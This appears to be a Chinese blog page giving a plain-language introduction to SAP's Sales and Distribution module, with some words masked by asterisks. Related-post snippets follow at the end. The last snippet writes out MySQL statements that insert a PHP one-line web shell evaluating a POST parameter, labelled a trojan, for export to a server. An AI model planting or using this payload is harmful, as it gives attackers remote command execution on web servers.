SAP一句話入門 SD

2021-04-24 04:39:52 字數 1557 閱讀 6522

sd是sales and distribution的簡稱。在sap系統中,銷售與分銷模組處在**鏈下游,關注從客戶訂單到向客戶收款的全過程。 

sd模組中的sales好理解,而distribution卻容易被忽視。用直白的話來講,sd模組就是解決「賣」的問題,它關注的範疇有: 

1,誰來賣? 

2,賣什麼? 

3,賣給誰? 

4,什麼樣的**? 

5,銷售業務模式是什麼? 

6,貨物如何到達客戶? 

7,錢款如何交割? 

對應上述問題,我們分別引出相應的概念: 

1,誰來賣? 

既是執行銷售動作的組織結構及此結構下的人員。sap術語有:公司**、銷售組織、分銷渠道、產品組、銷售辦公室、銷售小組、銷售雇員、裝運點等。 

2,賣什麼? 

廣義銷售概念中的銷售內容包括實物和非實物的服務。sap術語中,我們稱之為物料(material)。有實物產品物料,也有服務物料。 

3,賣給誰? 

賣給客戶。這裡,客戶的外延與內涵較多。如一次性客戶、大客戶、集團內部客戶、海外客戶;售達方、送達方、收票方、付款方等。如果對某客戶做賒銷業務,相應的,該客戶還有用於控制應收風險的信用資料。 

4,什麼樣的**? 

**是銷售的技術核心,定價功能也是sap sd的核心所在。貌似簡單的列印在發票上的最終**,在企業內部可能包含了若干計價小項。如含稅基價、銷項稅、營業稅、折扣、返利、附加稅等。不同的企業不同的定價策略系統將提供不同的定價過程予以支援。 

5,銷售業務模式是什麼? 

業務模式是指:標準信用銷售、現金銷售、緊急訂單、退貨業務、免費樣品、捐贈、**業務等。不同的業務模式有著不同的線內線外處理方式。 

6,貨物如何到達客戶? 

這裡包含的就是上述distribution的內容。廣義的銷售,應該包含實物移動。企業可以送貨上門或者委託第三方物流公司送貨,也可能是客戶上門自提。如果是國際**,還涉及到通關報檢等動作。無論是單據流轉還是成本核算,系統都有相應的功能支援。 

7,錢款如何交割? 

如果不考慮售後服務,收款將是一般意義上銷售迴圈的最後一步。由於有不同的銷售業務模式,可能的交割方式有賒銷、現金、支票等。根據需要還可以為及時付款的客戶予以優惠獎勵等措施。 

上述概念中,sap系統將相對靜態的資料或者資料稱為「主資料」(master data),如客戶、物料、**、信用。這些資料一旦建立,只在需要變動時變動。而且在後續的操作中,僅需要唯一標誌自己的編號錄入,即可帶入其他相關資訊,從而達到共享的作用。 

與資料對應的另一類資料是「業務資料」,如合同、計畫、訂單、交貨單、出庫單、發票等。這些資料(我們稱之為單據:document)是在業務發生時實時產生的。由於銷售業務具有迴圈而且可追溯特性,這些單據將互相關連,每一筆完整的業務中都有自己的單據流。即,乙個常見的銷售業務業務迴圈將從合同開始、到開票收款結束。 

以上就是sap sd的大致內容。更深入的無非是上述問題的展開與細化而已。

SAP一句話入門 Human Resource

hr這一句話,太簡單了 組織 招聘 發工資 任職 考勤 培訓 提公升 降級 辭退。還好,這個模組不分行業,哪家公司基本都是一樣的。一 sap hr 核心功能 組織管理 organizational 提供多種組織結構模式,使用者可以利用圖形化的工具構建組織結構 包括組織單元 職務 職位 工作任務以及匯...

Debian入門一句話

在本一句話問答中,一般來說 開頭的命令表示需要root許可權,開頭的表示普通使用者許可權即可 debian的發音 debian is pronounced deb ee en 類似於帶賓 參考以下 發音的英文檔案 jhuangjiahua linuxsir.org org 頁面中subscribe ...

mysql 匯出一句話 MySQL 匯出一句話

drop table if exists temp 如果存在temp就刪掉 create table temp cmd text not null 建立temp表,裡面就乙個cmd欄位 insert into temp cmd values php eval post cmd 把一句話木馬插入到te...